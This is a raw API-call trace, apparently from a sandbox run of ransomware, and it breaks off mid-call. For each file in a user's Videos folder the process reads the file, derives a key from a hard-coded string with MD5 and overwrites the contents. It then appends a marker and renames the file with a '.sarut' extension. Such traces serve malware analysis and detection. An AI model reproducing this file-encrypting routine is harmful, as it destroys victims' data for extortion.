RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0269.355] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.355] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\90ZHyHwir.mp4") returned=".mp4" [0269.355] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\90ZHyHwir.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\90zhyhwir.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.356] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=57540) returned 1 [0269.356] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.358] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xe09e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.358] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.360] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.360] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.360] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.360] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xe0c4, lpOverlapped=0x0) returned 1 [0269.361] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.361] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.361] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.361] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.361] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0269.362] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.362] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.362] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.362] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.362] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.362] GetLastError () returned 0x0 [0269.362] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.362] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0269.362] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.362] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xe0c0) returned 0x311d708 [0269.363] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.363] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.363] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0xe0bf, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0xe0bf, lpOverlapped=0x0) returned 1 [0269.363] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.363] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xe0c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.363] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.363] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.363] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.363] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.364] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.364] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.364] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.364] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.364] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.364] CloseHandle (hObject=0x5c4) returned 1 [0269.366] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0269.366] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0269.366] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0269.366] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\90ZHyHwir.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\90zhyhwir.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\90ZHyHwir.mp4.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\90zhyhwir.mp4.sarut")) returned 1 [0269.367] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.367] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.368] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0269.368] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3dd96f0, ftCreationTime.dwHighDateTime=0x1d4cf8b, ftLastAccessTime.dwLowDateTime=0xb22f6cd0, ftLastAccessTime.dwHighDateTime=0x1d4c784, ftLastWriteTime.dwLowDateTime=0xb22f6cd0, ftLastWriteTime.dwHighDateTime=0x1d4c784, nFileSizeHigh=0x0, nFileSizeLow=0x66fa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AklgegIwErKzeM3EnB.mkv", cAlternateFileName="AKLGEG~1.MKV")) returned 1 [0269.368] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.368] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa51f8 [0269.368] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.369] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AklgegIwErKzeM3EnB.mkv") returned=".mkv" [0269.369] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AklgegIwErKzeM3EnB.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aklgegiwerkzem3enb.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.370] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=26362) returned 1 [0269.370] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.372] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.372] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.374] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.374] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.374] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.374] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x66fa, lpOverlapped=0x0) returned 1 [0269.375] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.375] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.375] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.375] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.375] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0269.376] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.376] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.376] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.376] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.376] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.376] GetLastError () returned 0x0 [0269.376] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.376] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0269.376] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.376] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x6700) returned 0x311d708 [0269.376] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.376] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.376] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x66f5, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x66f5, lpOverlapped=0x0) returned 1 [0269.377] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.377] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x66fa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.377] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.377] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.377] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.377] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.377] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.377] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.377] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.377] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.377] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.377] CloseHandle (hObject=0x5c4) returned 1 [0269.380] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0269.380] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0269.380] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0269.380] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AklgegIwErKzeM3EnB.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aklgegiwerkzem3enb.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AklgegIwErKzeM3EnB.mkv.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aklgegiwerkzem3enb.mkv.sarut")) returned 1 [0269.381] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.381] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa51f8 | out: hHeap=0x640000) returned 1 [0269.382] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83ee8610, ftCreationTime.dwHighDateTime=0x1d4d190, ftLastAccessTime.dwLowDateTime=0x893730c0, ftLastAccessTime.dwHighDateTime=0x1d4c7c4, ftLastWriteTime.dwLowDateTime=0x893730c0, ftLastWriteTime.dwHighDateTime=0x1d4c7c4, nFileSizeHigh=0x0, nFileSizeLow=0xd9c8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AKzil.avi", cAlternateFileName="")) returned 1 [0269.382] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.382] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0269.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.382] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AKzil.avi") returned=".avi" [0269.382] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AKzil.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\akzil.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.382] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=55752) returned 1 [0269.382] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.385] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xd9a2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.385] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.389] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.389] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.389] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.389] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xd9c8, lpOverlapped=0x0) returned 1 [0269.390] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.390] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.390] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.390] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0269.391] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.391] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.391] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.391] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.391] GetLastError () returned 0x0 [0269.392] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.392] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0269.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xd9d0) returned 0x311d708 [0269.392] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.392] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0xd9c3, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0xd9c3, lpOverlapped=0x0) returned 1 [0269.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.393] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xd9c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.393] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.393] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.393] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.393] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.393] CloseHandle (hObject=0x5c4) returned 1 [0269.396] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.396] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x870) returned 0x311d708 [0269.396] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.396] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AKzil.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\akzil.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AKzil.avi.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\akzil.avi.sarut")) returned 1 [0269.397] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.397] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.398] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0269.398] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbdae00, ftCreationTime.dwHighDateTime=0x1d4d296, ftLastAccessTime.dwLowDateTime=0x34a1f760, ftLastAccessTime.dwHighDateTime=0x1d4ce37, ftLastWriteTime.dwLowDateTime=0x34a1f760, ftLastWriteTime.dwHighDateTime=0x1d4ce37, nFileSizeHigh=0x0, nFileSizeLow=0x12e0f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="aY2-M1hNNjjWY.flv", cAlternateFileName="AY2-M1~1.FLV")) returned 1 [0269.398] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.398] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0269.398] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.398] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aY2-M1hNNjjWY.flv") returned=".flv" [0269.398] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aY2-M1hNNjjWY.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ay2-m1hnnjjwy.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.399] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=77327) returned 1 [0269.399] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.401] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x12de9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.401] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.403] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.403] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.403] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.403] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x12e0f, lpOverlapped=0x0) returned 1 [0269.404] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.404] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.404] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.404] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.404] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0269.405] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.405] CryptHashData (hHash=0x3091560, 